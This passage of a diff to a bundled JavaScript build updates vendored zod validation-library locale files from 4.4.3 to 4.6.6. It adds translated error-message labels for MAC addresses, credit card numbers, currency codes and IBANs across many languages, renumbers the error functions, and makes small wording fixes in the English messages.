"base64-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + base64url: "base64url-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + json_string: "JSON \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + e164: "E.164 \u09A8\u09AE\u09CD\u09AC\u09B0", + credit_card: "\u0995\u09CD\u09B0\u09C7\u09A1\u09BF\u099F \u0995\u09BE\u09B0\u09CD\u09A1 \u09A8\u09AE\u09CD\u09AC\u09B0", + currency_code: "\u09AE\u09C1\u09A6\u09CD\u09B0\u09BE \u0995\u09CB\u09A1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0987\u09A8\u09AA\u09C1\u099F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${expected}, \u09AA\u09CD\u09B0\u09BE\u09AA\u09CD\u09A4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0985\u09AC\u09C8\u09A7 \u0985\u09AA\u09B6\u09A8: ${joinValues(issue2.values, " | ")} \u098F\u09B0 \u09AE\u09A7\u09CD\u09AF\u09C7 \u098F\u0995\u099F\u09BF \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u098F\u09B2\u09BF\u09AE\u09C7\u09A8\u09CD\u099F"} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.prefix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C1\u09B0\u09C1 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + if (_issue.format === "ends_with") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.suffix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C7\u09B7 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "includes") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.includes}" \u0985\u09A8\u09CD\u09A4\u09B0\u09CD\u09AD\u09C1\u0995\u09CD\u09A4 \u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "regex") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: ${_issue.pattern} \u09AA\u09CD\u09AF\u09BE\u099F\u09BE\u09B0\u09CD\u09A8 \u09AE\u09BF\u09B2\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09AC\u09C8\u09A7 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0985\u09AC\u09C8\u09A7 \u09A8\u09AE\u09CD\u09AC\u09B0: ${issue2.divisor} \u098F\u09B0 \u0997\u09C1\u09A3\u09BF\u09A4\u0995 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + case "unrecognized_keys": + return `\u0985\u099A\u09C7\u09A8\u09BE \u0995\u09C0${issue2.keys.length > 1 ? "\u0997\u09C1\u09B2\u09CB" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u0995\u09C0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0985\u09AC\u09C8\u09A7 \u09A1\u09BF\u09B8\u0995\u09CD\u09B0\u09BF\u09AE\u09BF\u09A8\u09C7\u099F\u09B0 \u09AE\u09BE\u09A8\u0964 \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${opts}`; + } + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + case "invalid_element": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u09AE\u09BE\u09A8`; + default: + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + } + }; +}; +function bn_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ca.js +var error6 = () => { const Sizable = { string: { unit: "car\xE0cters", verb: "contenir" }, file: { unit: "bytes", verb: "contenir" }, array: { unit: "elements", verb: "contenir" }, - set: { unit: "elements", verb: "contenir" } + set: { unit: "elements", verb: "contenir" }, + map: { unit: "elements", verb: "contenir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59665,12 +60778,16 @@ var error5 = () => { duration: "durada ISO", ipv4: "adre\xE7a IPv4", ipv6: "adre\xE7a IPv6", + mac: "adre\xE7a MAC", cidrv4: "rang IPv4", cidrv6: "rang IPv6", base64: "cadena codificada en base64", base64url: "cadena codificada en base64url", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de targeta de cr\xE8dit", + currency_code: "codi de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -59738,17 +60855,151 @@ var error5 = () => { }; function ca_default() { return { - localeError: error5() + localeError: error6() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js -var error6 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ckb.js +var error7 = () => { + const Sizable = { + string: { unit: "\u067E\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + array: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + set: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + map: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regex", + email: "\u0626\u06CC\u0645\u06D5\u06CC\u06B5", + url: "\u0628\u06D5\u0633\u062A\u06D5\u0631 (URL)", + emoji: "\u0626\u06CC\u0645\u06C6\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0695\u06CE\u06A9\u06D5\u0648\u062A \u0648 \u06A9\u0627\u062A", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + time: "\u06A9\u0627\u062A", + duration: "\u0645\u0627\u0648\u06D5", + ipv4: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv4", + ipv6: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv6", + mac: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC MAC", + cidrv4: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv4", + cidrv6: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv6", + base64: "\u062F\u06D5\u0642\u06CC base64", + base64url: "\u062F\u06D5\u0642\u06CC base64url", + json_string: "\u062F\u06D5\u0642\u06CC JSON", + e164: "\u0698\u0645\u0627\u0631\u06D5\u06CC E.164", + credit_card: "\u0698\u0645\u0627\u0631\u06D5\u06CC \u06A9\u0627\u0631\u062A\u06CC \u06A9\u0631\u06CE\u062F\u06CC\u062A", + currency_code: "\u06A9\u06C6\u062F\u06CC \u062F\u0631\u0627\u0648", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u062A\u06CE\u06A9\u0631\u062F\u06D5" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0646\u0648\u0648\u0633\u06CC\u0646", + number: "\u0698\u0645\u0627\u0631\u06D5", + boolean: "boolean", + array: "array", + object: "object", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + integer: "\u0698\u0645\u0627\u0631\u06D5", + float: "\u0698\u0645\u0627\u0631\u06D5", + null: "null", + undefined: "undefined", + function: "function", + symbol: "symbol", + unknown: "unknown", + promise: "promise", + void: "void", + never: "never", + map: "map", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + const postfix = ["\u0627", "\u0648", "\u06C6", "\u0648\u0648", "\u06D5", "\u06CC", "\u06CE"].some((p) => received.endsWith(p)) ? "\u06CC\u06D5" : "\u06D5"; + const isEnglish = /^[a-zA-Z]+$/.test(received); + if (receivedType === "null" || receivedType === "undefined") + return `\u062F\u0627\u0648\u0627\u06A9\u0631\u0627\u0648\u06D5`; + return `\u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${expected} \u0628\u06CE\u062A\u060C \u0628\u06D5\u06B5\u0627\u0645 ${received}${isEnglish ? "" : postfix}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0648\u0633\u062A\u06D5: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${stringifyPrimitive(issue2.values[0])} \u0628\u06CE\u062A`; + return `\u0647\u06D5\u06B5\u0628\u0698\u0627\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 \u06CC\u06D5\u06A9\u06CE\u06A9 \u0628\u06CE\u062A \u0644\u06D5 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} \u0628\u06CE\u062A`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} \u0628\u06CE\u062A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u062F\u06D5\u0633\u062A\u067E\u06CE\u0628\u06A9\u0627\u062A \u0628\u06D5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u06A9\u06C6\u062A\u0627\u06CC\u06CC\u0628\u06CE\u062A \u0628\u06D5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 "${_issue.includes}" \u0644\u06D5\u062E\u06C6\u0628\u06AF\u0631\u06CE\u062A`; + if (_issue.format === "regex") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0644\u06D5\u06AF\u06D5\u06B5 \u067E\u0627\u062A\u06CE\u0631\u0646\u06CC ${_issue.pattern} \u0628\u06AF\u0648\u0646\u062C\u06CE\u062A`; + return `\u0628\u06D5\u0647\u0627\u06CC ${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + } + case "not_multiple_of": + return `\u0698\u0645\u0627\u0631\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u062F\u06D5\u0628\u06CE\u062A \u0686\u06D5\u0646\u062F \u0647\u06CE\u0646\u062F\u06D5 \u0628\u06CE\u062A \u0628\u06C6 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A \u0644\u06D5 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0628\u06D5\u0647\u0627\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648 \u0647\u06D5\u06CC\u06D5. \u0628\u06D5\u0647\u0627\u06CC \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648: ${opts}`; + } + return "\u06CC\u06D5\u06A9\u06AF\u0631\u062A\u0646\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A"; + case "invalid_element": + return `${issue2.origin} \u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + default: + return `\u062A\u06CE\u06A9\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A`; + } + }; +}; +function ckb_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/cs.js +var error8 = () => { const Sizable = { string: { unit: "znak\u016F", verb: "m\xEDt" }, file: { unit: "bajt\u016F", verb: "m\xEDt" }, array: { unit: "prvk\u016F", verb: "m\xEDt" }, - set: { unit: "prvk\u016F", verb: "m\xEDt" } + set: { unit: "prvk\u016F", verb: "m\xEDt" }, + map: { unit: "prvk\u016F", verb: "m\xEDt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59774,12 +61025,16 @@ var error6 = () => { duration: "doba trv\xE1n\xED ISO", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "rozsah IPv4", cidrv6: "rozsah IPv6", base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditn\xED karty", + currency_code: "k\xF3d m\u011Bny", + iban: "IBAN", jwt: "JWT", template_literal: "vstup" }; @@ -59850,17 +61105,18 @@ var error6 = () => { }; function cs_default() { return { - localeError: error6() + localeError: error8() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js -var error7 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/da.js +var error9 = () => { const Sizable = { string: { unit: "tegn", verb: "havde" }, file: { unit: "bytes", verb: "havde" }, array: { unit: "elementer", verb: "indeholdt" }, - set: { unit: "elementer", verb: "indeholdt" } + set: { unit: "elementer", verb: "indeholdt" }, + map: { unit: "elementer", verb: "indeholdt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59884,14 +61140,18 @@ var error7 = () => { date: "ISO-dato", time: "ISO-klokkesl\xE6t", duration: "ISO-varighed", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodet streng", base64url: "base64url-kodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kreditkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59966,17 +61226,18 @@ var error7 = () => { }; function da_default() { return { - localeError: error7() + localeError: error9() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js -var error8 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/de.js +var error10 = () => { const Sizable = { string: { unit: "Zeichen", verb: "zu haben" }, file: { unit: "Bytes", verb: "zu haben" }, array: { unit: "Elemente", verb: "zu haben" }, - set: { unit: "Elemente", verb: "zu haben" } + set: { unit: "Elemente", verb: "zu haben" }, + map: { unit: "Elemente", verb: "zu haben" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60002,12 +61263,16 @@ var error8 = () => { duration: "ISO-Dauer", ipv4: "IPv4-Adresse", ipv6: "IPv6-Adresse", + mac: "MAC-Adresse", cidrv4: "IPv4-Bereich", cidrv6: "IPv6-Bereich", base64: "Base64-codierter String", base64url: "Base64-URL-codierter String", json_string: "JSON-String", e164: "E.164-Nummer", + credit_card: "Kreditkartennummer", + currency_code: "W\xE4hrungscode", + iban: "IBAN", jwt: "JWT", template_literal: "Eingabe" }; @@ -60075,12 +61340,12 @@ var error8 = () => { }; function de_default() { return { - localeError: error8() + localeError: error10() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js -var error9 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/el.js +var error11 = () => { const Sizable = { string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, @@ -60119,6 +61384,9 @@ var error9 = () => { base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + credit_card: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 \u03C0\u03B9\u03C3\u03C4\u03C9\u03C4\u03B9\u03BA\u03AE\u03C2 \u03BA\u03AC\u03C1\u03C4\u03B1\u03C2", + currency_code: "\u03BA\u03C9\u03B4\u03B9\u03BA\u03CC\u03C2 \u03BD\u03BF\u03BC\u03AF\u03C3\u03BC\u03B1\u03C4\u03BF\u03C2", + iban: "IBAN", jwt: "JWT", template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" }; @@ -60185,12 +61453,12 @@ var error9 = () => { }; function el_default() { return { - localeError: error9() + localeError: error11() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js -var error10 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/en.js +var error12 = () => { const Sizable = { string: { unit: "characters", verb: "to have" }, file: { unit: "bytes", verb: "to have" }, @@ -60229,6 +61497,9 @@ var error10 = () => { base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + currency_code: "currency code", + credit_card: "credit card number", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -60237,12 +61508,18 @@ var error10 = () => { nan: "NaN" // All other type names omitted - they fall back to raw values via ?? operator }; + function getTypeName(type, input2) { + if (type === "number" && typeof input2 === "number" && !Number.isFinite(input2)) { + return String(input2); + } + return TypeDictionary[type] ?? type; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = getTypeName(issue2.expected); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; + const received = getTypeName(receivedType, issue2.input); return `Invalid input: expected ${expected}, received ${received}`; } case "invalid_value": @@ -60250,14 +61527,14 @@ var error10 = () => { return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; case "too_big": { - const adj = issue2.inclusive ? "<=" : "<"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; } case "too_small": { - const adj = issue2.inclusive ? ">=" : ">"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; @@ -60288,6 +61565,9 @@ var error10 = () => { const opts = issue2.options.map((o) => `'${o}'`).join(" | "); return `Invalid discriminator value. Expected ${opts}`; } + if (issue2.inclusive === false) { + return "Invalid input: more than one option matched"; + } return "Invalid input"; case "invalid_element": return `Invalid value in ${issue2.origin}`; @@ -60298,17 +61578,18 @@ var error10 = () => { }; function en_default() { return { - localeError: error10() + localeError: error12() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js -var error11 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/eo.js +var error13 = () => { const Sizable = { string: { unit: "karaktrojn", verb: "havi" }, file: { unit: "bajtojn", verb: "havi" }, array: { unit: "elementojn", verb: "havi" }, - set: { unit: "elementojn", verb: "havi" } + set: { unit: "elementojn", verb: "havi" }, + map: { unit: "elementojn", verb: "havi" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60334,12 +61615,16 @@ var error11 = () => { duration: "ISO-da\u016Dro", ipv4: "IPv4-adreso", ipv6: "IPv6-adreso", + mac: "MAC-adreso", cidrv4: "IPv4-rango", cidrv6: "IPv6-rango", base64: "64-ume kodita karaktraro", base64url: "URL-64-ume kodita karaktraro", json_string: "JSON-karaktraro", e164: "E.164-nombro", + credit_card: "kreditkarta numero", + currency_code: "valuta kodo", + iban: "IBAN", jwt: "JWT", template_literal: "enigo" }; @@ -60408,12 +61693,12 @@ var error11 = () => { }; function eo_default() { return { - localeError: error11() + localeError: error13() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js -var error12 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/es.js +var error14 = () => { const Sizable = { string: { unit: "caracteres", verb: "tener" }, file: { unit: "bytes", verb: "tener" }, @@ -60444,12 +61729,16 @@ var error12 = () => { duration: "duraci\xF3n ISO", ipv4: "direcci\xF3n IPv4", ipv6: "direcci\xF3n IPv6", + mac: "direcci\xF3n MAC", cidrv4: "rango IPv4", cidrv6: "rango IPv6", base64: "cadena codificada en base64", base64url: "URL codificada en base64", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de tarjeta de cr\xE9dito", + currency_code: "c\xF3digo de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -60541,17 +61830,18 @@ var error12 = () => { }; function es_default() { return { - localeError: error12() + localeError: error14() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js -var error13 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fa.js +var error15 = () => { const Sizable = { string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, - set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + map: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60577,12 +61867,16 @@ var error13 = () => { duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", ipv4: "IPv4 \u0622\u062F\u0631\u0633", ipv6: "IPv6 \u0622\u062F\u0631\u0633", + mac: "MAC \u0622\u062F\u0631\u0633", cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", base64: "base64-encoded \u0631\u0634\u062A\u0647", base64url: "base64url-encoded \u0631\u0634\u062A\u0647", json_string: "JSON \u0631\u0634\u062A\u0647", e164: "E.164 \u0639\u062F\u062F", + credit_card: "\u0634\u0645\u0627\u0631\u0647 \u06A9\u0627\u0631\u062A \u0627\u0639\u062A\u0628\u0627\u0631\u06CC", + currency_code: "\u06A9\u062F \u0627\u0631\u0632", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u06CC" }; @@ -60656,17 +61950,18 @@ var error13 = () => { }; function fa_default() { return { - localeError: error13() + localeError: error15() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js -var error14 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fi.js +var error16 = () => { const Sizable = { string: { unit: "merkki\xE4", subject: "merkkijonon" }, file: { unit: "tavua", subject: "tiedoston" }, array: { unit: "alkiota", subject: "listan" }, set: { unit: "alkiota", subject: "joukon" }, + map: { unit: "alkiota", subject: "kuvauksen" }, number: { unit: "", subject: "luvun" }, bigint: { unit: "", subject: "suuren kokonaisluvun" }, int: { unit: "", subject: "kokonaisluvun" }, @@ -60696,12 +61991,16 @@ var error14 = () => { duration: "ISO-kesto", ipv4: "IPv4-osoite", ipv6: "IPv6-osoite", + mac: "MAC-osoite", cidrv4: "IPv4-alue", cidrv6: "IPv6-alue", base64: "base64-koodattu merkkijono", base64url: "base64url-koodattu merkkijono", json_string: "JSON-merkkijono", e164: "E.164-luku", + credit_card: "luottokortin numero", + currency_code: "valuuttakoodi", + iban: "IBAN", jwt: "JWT", template_literal: "templaattimerkkijono" }; @@ -60769,12 +62068,12 @@ var error14 = () => { }; function fi_default() { return { - localeError: error14() + localeError: error16() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js -var error15 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr.js +var error17 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, @@ -60785,7 +62084,7 @@ var error15 = () => { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "entr\xE9e", + regex: "expression r\xE9guli\xE8re", email: "adresse e-mail", url: "URL", emoji: "emoji", @@ -60805,17 +62104,21 @@ var error15 = () => { duration: 